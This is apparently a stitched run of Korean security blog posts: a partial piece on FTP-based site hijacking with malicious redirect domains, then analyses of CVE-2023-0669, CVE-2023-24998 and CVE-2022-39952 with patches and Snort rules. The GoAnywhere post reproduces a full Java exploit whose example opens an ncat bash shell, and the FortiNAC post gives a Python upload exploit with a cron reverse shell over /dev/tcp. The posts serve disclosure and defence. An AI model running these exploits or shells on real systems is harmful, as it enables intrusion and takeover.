bot|googlebot|crawler|spider|robot|crawling|Bytespider|Googlebot|Baiduspider|MSN Bot\/Bingbot|Yandex Bot|Soso Spider|Sosospider|Sogou Spider|360Spider|Yahoo! Slurp China|Yahoo!|YoudaoBot|YodaoBot|Sogou News Spider|msnbot|msnbot-media|bingbot|YisouSpider|ia_archiver|EasouSpider|JikeSpider|EtaoSpider|SemrushBot

[사진 3] 리다이렉션 스크립트의 결정 트리

2.3 중간 경유지

- 정상 URL과 유사한 형태로 목록은 다음과 같음

※ 리다이렉션은 직접 이루어졌으나, 현재는 중간 경유지를 통해 리다이렉션됨

Malicious URL Legitimate URL
s3a.pstatp[.]org/toutiao/push.js  s3a.pstatp[.]com/toutiao/push.js
stat.51sdk[.]org/ (e.g., stat.51sdk[.]org/b8nb3Ww5CtxpZis2)  stat.51sdk[.]com (?)
tpc.cdn-linkedin[.]info/js/vendor.5b3ca61.js  *-cdn.linkedin[.]com (e.g., mobile-cdn.linkedin.com)
widget-v4.tidiochat[.]net/1_131_0/static/js/chunk-WidgetIframe-.js  widget-v4.tidiochat[.]com/1_137_1/static/js/*

 

2.4 리다이렉션 사이트

- alibod1[.]com, 22332299[.]com, alibb1[.]xyz, alibb2[.]xyz이 있으며, 각종 도박 사이트 광고가 표시되고 팝업이 발생

 

3. 대응방안

① FTP(FTP 또는 SFTP)를 통해 웹사이트를 관리할 경우 강력한 사용자 이름과 패스워드 조합으로 사용할 것을 권장

 

② 계정 탈취 가능성이 존재하므로, 계정 변경

 

③ FTP를 사용해야하는 경우 FTPS 또는 SFTP로 전환

※ FTPS: 기존의 FTP에 전송 계층 보안(TLS)과 보안 소켓 계층(SSL) 암호화 프로토콜에 대한 지원이 추가된 것

※ SFTP: SSH File Transfer Protocol'의 약자로, 암호화를 통해 데이터를 안전하게 전송(일반 텍스트 파일은 전송되지 않음)

※ 차이점: FTPS는 인증서를 이용한 FTP+SSL 구성이며, SFTP는 SSH를 이용함

 

④ 최신 버전의 소프트웨어, 보안 프로그램등을 사용

 

⑤ 웹 소스 리뷰

 

⑥ 보안 장비 IoC 적용

 

4. 참고

[1] https://www.securityweek.com/thousands-of-websites-hijacked-using-compromised-ftp-credentials/
[2] https://www.wiz.io/blog/redirection-roulette
[3] https://www.boannews.com/media/view.asp?idx=114867&page=1&kind=1 

1. GoAnywhere MFT

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점 [1]

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2023-0669

- GoAnywhere MFT는 공격자가 조작한 역직렬화 데이터에대한 검증을 수행하지않아 발생하는 원격 명령 실행 취약점

- 공격자들은 해당 취약점을 악용하여 클롭(Clop) 랜섬웨어를 유포하는 중

영향받는 버전
- GoAnywhere MFT < 7.1.2

 

[사진 2] Shodan GoAnywhere 검색 화면

 

2.1 분석 [3][4]

- 취약점은 POST 요청을 처리하는 LicenseResponseServlet에서 발생

- bundle 파라미터를 getParameter()로 str1에 저장 후 LicenseAPI.getResponse()의 매개변수로 전달

- bundle 파라미터를 LicenseAPI.getResponse()의 매개변수로 전달하는 과정에 적절한 검증이 수행되지 않음

[사진 3] LicenseResponseServlet

 

- LicenseAPI.getResponse()는 BundleWorker.unbundle() 호출

[사진 4] LicenseAPI.getResponse()

 

- BundleWorker.unbundle()는 decode()를 호출 및 복호화 후 verify()에서 서명을 검증

[사진 5] BundleWorker.unbundle()

 

- 공격자는 다음의 과정을 거치는 것으로 판단됨

① 조작된 bundle 역직렬화 데이터를 서버에서 제공하는 암복호화 정보에 맞춰 암호화 한 후 서버에 전송

② 역직렬화 데이터를 직렬화하는 과정에서 공격자가 삽입한 원격 명령이 수행

 

2.2 PoC [5]

① 원격 명령이 포함한 암호화된 bundle 매개변수 생성

/goanywhere/lic/accept URL에 조작된 역직렬화 bundle 매개변수를 전달

package org.gaw;

import org.gaw.linoma.Cryptor;

import cn.hutool.http.HttpResponse;
import org.gaw.utils.Http;
import org.apache.commons.cli.*;
import org.apache.commons.lang.StringUtils;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;

public class Exploit {
    static final String banner = "   _______    ________    ___   ____ ___  _____       ____  " +
            "_____ _____ ____ \n" +
            "  / ____/ |  / / ____/   |__ \\ / __ \\__ \\|__  /      / __ \\/ ___// ___// __ \\\n" +
            " / /    | | / / __/________/ // / / /_/ / /_ <______/ / / / __ \\/ __ \\/ /_/ /\n" +
            "/ /___  | |/ / /__/_____/ __// /_/ / __/___/ /_____/ /_/ / /_/ / /_/ /\\__, / \n" +
            "\\____/  |___/_____/    /____/\\____/____/____/      \\____/\\____/\\____//____/  \n" +
            "                                                                             ";
    // https://patorjk.com/software/taag/#p=display&f=Slant&t=CVE-2023-0669

    public static void printUsage(Options options) {
        HelpFormatter formatter = new HelpFormatter();
        System.out.println("GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object.\n");
        formatter.printHelp("Options", options);

        System.out.println("\nExample: ");
        System.out.println("java -jar CVE-2023-0669.jar -p http://127.0.0.1:8080 " +
                "-t https://192.168.1.1 -c 'ncat -e /bin/bash 192.168.1.2 4444'");
        System.out.println("java -jar CVE-2023-0669.jar -e ./payload.ser\n");
    }

    public static void main(String[] args) {
        System.out.println("\n"+banner);

        Options options = new Options();
        options.addOption("h", "help", false,"Print help information");
        options.addOption("t", "target", true, "Target URL");
        options.addOption("path", true, "Target Endpoint, default: /goanywhere/lic/accept");
        options.addOption("p", "proxy", true, "Proxy Address, eg: http://127.0.0.1:8080");
        options.addOption("c", "command", true, "Expected commands to be executed");
        options.addOption("e", "encrypt", true,"Encrypt the specified deserialized content");
        options.addOption("v", "version", true,"Version Encryption, 1/2, default: 1");
        options.addOption("timeout", true,"Http Requests Timeout, default: 20");

        CommandLineParser parser = new BasicParser();

        try {
            CommandLine cli = parser.parse(options, args);

            String version = cli.getOptionValue("v");
            version = (version == null)?"1":"2";

            if (cli.hasOption("h")) {
                printUsage(options);
            } else if (cli.hasOption("e")) {
                String filename = cli.getOptionValue("e");
                Path path = Paths.get(filename);
                byte[] data = Files.readAllBytes(path);
                System.out.println("[*] Files expected to be encrypted: " + filename);
                System.out.println("[*] Version Encryption: " + version);
                String bundle = Cryptor.main(data, version);
                System.out.println("[+] Successful encryption: " + bundle);
            } else if (cli.hasOption("t") && cli.hasOption("c")) {
                String target = cli.getOptionValue("t");
                System.out.println("[*] Target: " + target);

                String path = cli.getOptionValue("path");
                path = (path == null)?"/goanywhere/lic/accept":path;
                System.out.println("[*] Path: " + path);

                String proxy = cli.getOptionValue("p");
                System.out.println("[*] Proxy: " + proxy);

                String command = cli.getOptionValue("c");
                System.out.println("[*] Command: " + command);

                System.out.println("[*] Version Encryption: " + version);

                byte[] deserData = GenerateEvilPayload.main(command, "CommonsBeanutils1");
                String bundle = Cryptor.main(deserData, version);
                System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 50) +
                        "...");

                String timeout = cli.getOptionValue("timeout");
                timeout = (timeout == null)?"20":timeout;
                System.out.println("[*] Timeout: " + timeout + "s");
                int to = Integer.parseInt(timeout) * 1000;

                Exploit(target, path, bundle, proxy, to);
            } else {
                printUsage(options);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void Exploit(String target, String path, String body, String proxyURL,
                               int timeout) throws MalformedURLException {
        URL url = new URL(target);
        String rootURL = url.getProtocol() + "://" + url.getAuthority();

        String bundleBody = "bundle=" + body;

        Map<String, String> headers = new HashMap<>();
        headers.put("Content-Type", "application/x-www-form-urlencoded");

        System.out.println("[*] Exploiting...");

        HttpResponse r = Http.post(rootURL+path, bundleBody, headers ,proxyURL, timeout);

        if (r.getStatus() == 500 && r.body().contains("Requested URL: /goanywhere/lic/accept")) {
            System.out.println("[+] The exploit has been completed, please check.");
        } else{
            System.out.println("[-] Exploit Failed");
        }
    }
}

 

[사진 6] Exploit 패킷

3. 대응방안

3.1 서버측면

GoAnywhere MFT 7.1.2 업데이트 적용

- SessionUtilities.isLicenseRequestTokenValid()를 추가하여 라이센스 검증을 수행

> 라이센싱 요청을 수행할 때 생성되고 세션에 저장된 임의 UUID를 확인함

[사진 7] 패치 버전

② 추가 대응

- 벤더사에서는 2가지 완화 방안을 제공

> 시스템에서 만든 계정 등 의심스러운 계정이 있는지 확인

> GoAnywhere MFT가 설치된 파일 시스템에서 [install_dir]/adminroot/WEB-INF/web.xml 파일 편집

[사진 8] WEB-INF/web.xml 파일 편집 내용

3.2 네트워크 측면

- 보안 장비에 탐지 패턴 적용

alert tcp any any -> any any (msg:"Fortra GoAnywhere MFT RCE (CVE-2023-0669)"; content:"/goanywhere/lic/accept";flow:to_server,established;fast_pattern:only;http_uri; content:"bundle"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-0669

[2] https://www.tenable.com/cve/CVE-2023-0669

[3] https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis?utm_source=rapid7site&utm_medium=referral&utm_campaign=etr_anywheremft

[4] https://www.pingsafe.com/blog/fortra-goanywhere-mft-rce-vulnerability

[5] https://github.com/0xf4n9x/CVE-2023-0669

[6] https://www.boannews.com/media/view.asp?idx=114180

 

 

1. Apache Commons Fileupload [1]

- 파일 업로드 기능을 서블릿 및 웹 애플리케이션에 추가하기위한 패키지

 

2. 취약점 [2]

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2023-24998

- 취약한 버전의 Apache Commons FileUpload에서 requestpart에 대해 제한을 두지 않아 발생하는 서비스 거부 취약점

제품명 영향받는 버전
Apache Commons FileUpload 1.0-beta-1 ~ 1.4
Apache Tomcat 11.0.0-M1
10.1.0-M1~ 10.1.4
9.0.0-M1~ 9.0.70
8.5.0~ 8.5.84

 

2.1 분석

- 자바에서 Annotation은 코드 사이에 주석처럼 쓰이며 특별한 의미, 기능을 수행하도록 하는 기술 [3][4]

- Annotation의 용도는 다음과 같음

컴파일러에게 코드 작성 문법 에러를 체크하도록 정보를 제공

② 소프트웨어 개발 툴이 빌드나 배치시 코드를 자동으로 생성할 수 있도록 정보를 제공

실행시(런타임시)특정 기능을 실행하도록 정보를 제공

 

- 취약점에 악용된 RequestPart 또한 Annotation으로 "multipart/form-data" 요청의 일부를 메서드 인수와 연결하는 데 사용하는 어노테이션임

[사진 2] @RequestPart Annotation

 

- FileUploadBase.java의 내용을 확인해보면 처리할 요청 부분의 수를 제한하지 않는 것으로 판단됨. [5]

- 따라서 공격자는 악의적인 업로드 또는 일련의 업로드로 DoS를 트리거할 수 있음

[사진 3]&nbsp;src/main/java/org/apache/commons/fileupload/FileUploadBase.java

3. 대응방안

① 벤더사에서 제공하는 최신 업데이트 적용 [8][6][7]

제품명 영향받는 버전 패치 버전
Apache Commons FileUpload 1.0-beta-1 ~ 1.4 1.5
Apache Tomcat 11.0.0-M1 11.0.0-M3
10.1.0-M1~ 10.1.4 10.1.5
9.0.0-M1~ 9.0.70 9.0.71
8.5.0~ 8.5.84 8.5.85

 

- 업데이트를 확인해보면 fileCountMax 변수를 이용해 파일 업로드 횟수에대한 제한을 적용한 것으로 판단됨.

 

Update packaged renamed fork of Commons File Upload · apache/tomcat@8a2285f

Show file tree Showing 8 changed files with 116 additions and 14 deletions.

github.com

 

Add a new limit for the number of files uploaded per request (#185) · apache/commons-fileupload@e20c049

Back port

github.com

 

4. 참고

[1] https://commons.apache.org/proper/commons-fileupload/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-24998
[3] https://velog.io/@gillog/Spring-Annotation-%EC%A0%95%EB%A6%AC
[4] https://velog.io/@hwan2da/Spring-RequestBody-vs-RequestParam-vs-RequestPart-vs-ModelAttribute
[5] https://archive.apache.org/dist/commons/fileupload/source/
[6] https://archive.apache.org/dist/tomcat/
[7] https://commons.apache.org/proper/commons-fileupload/download_fileupload.cgi
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71001&menuNo=205020
[9] https://blog.alyac.co.kr/5086

1. FortiNAC

- Fortinet의 네트워크 접근 솔루션 중 하나

- 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952 [1]

- 인증되지 않은 공격자가 시스템에 임의 파일을 작성하고 root 권한으로 원격 코드를 실행할 수 있는 취약점

- Fortinet 보안팀에서 제일 먼저 발견

영향받는 버전
- FortiNAC 버전 9.4.0
- FortiNAC 버전 9.2.0 ~ 9.2.5
- FortiNAC 버전 9.1.0 ~ 9.1.7
- FortiNAC 8.8 모든 버전
- FortiNAC 8.7 모든 버전
- FortiNAC 8.6 모든 버전
- FortiNAC 8.5 모든 버전
- FortiNAC 8.3 모든 버전

 

2.1 분석 [6]

- 취약점은 keyUpload.jsp에서 발생

- 해당 파일의 내용을 확인하면 key 매개 변수에 파일을 제공하는 요청을 분석하는데 검증을 수행하지 않는 것으로 판단됨.

[사진 2]&nbsp;/bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp

 

- 요청에서 key 매개변수가 확인되면, /bsc/campusMgr/config.applianceKey에 추가

- Runtime.exec("~") (= rtKey.exec("~"))로 /bsc/campusMgr/bin/configApplianceXml에 있는 bash 스크립트를 실행

 

[사진 3]&nbsp;/bsc/campusMgr/bin/configApplianceXml

- bash 스크립트는 root 디렉터리로 이동(cd /) 후 작성된 파일의(공격자 파일) 압축을 해제(unzip -o)

- 결론적으로, bash 스크립트에 의해 작업 디렉터리는 / 이므로 공격자는 임의의 파일을 쓸 수 있게 됨

 

2.2 PoC [5]

- PoC를 확인해보면 총 2가지로 이루어져 있음

① 공격을 위한 파일 생성

② 업로드한 공격 파일 업로드

 

- 공격자는 payload파일의 내용을 /etc/cron.d/payload에 cron 작업으로 작성

> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()

def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

 

- payload 파일 내용

> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성

* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1

[사진 4] 공격 파일 생성&공격(위) 및 리버스 쉘 생성(아래)

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 최신 업데이트 적용 [7]

- 취약점 패치 버전

> FortiNAC 버전 9.4.1 이상
> FortiNAC 버전 9.2.6 이상
> FortiNAC 버전 9.1.8 이상
> FortiNAC 버전 7.2.0 이상

 

- 패치 버전을 확인해보면 keyUpload.jsp를 삭제한 것으로 판단됨

[사진 5] 취약 버전(좌) 및 패치 버전(우) 비교

② /bsc/logs/output.master 로그 확인

- 공격자가 해당 로그를 삭제하지 않는 한 로그를 통해 확인 가능

tail -f /bsc/logs/output.master

 

③ cron 확인

- cron을 사용하는 경우 페이로드 파일에 적절한 사용 권한과 소유자가 있는지 확인 후 조치

 

3.2 네트워크 측면

① 탐지 정책 적용 및 모니터링

alert tcp any any -> any any (msg:"FortiNAC HTTP Request RCE (CVE-2022-39952)"; content:"/configWizard/keyUpload.jsp";flow:to_server,established;fast_pattern:only;http_uri; content:"name=|22|key|22|"; nocase;http_client_body; content:"filename="; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952
[2] https://www.boannews.com/media/view.asp?idx=114481&page=1&kind=1
[3] https://www.bleepingcomputer.com/news/security/exploit-released-for-critical-fortinet-rce-flaws-patch-now/
[4] https://socradar.io/fortinet-patched-critical-rce-vulnerabilities-in-fortinac-and-fortiweb-cve-2022-39952-and-cve-2021-42756/
[5] https://github.com/horizon3ai/CVE-2022-39952
[6] https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
[7] https://www.fortiguard.com/psirt/FG-IR-22-300
[8] https://www.fortiguard.com/psirt?date=02-2023
[9] https://www.ddosi.org/cve-2022-39952/

+ Recent posts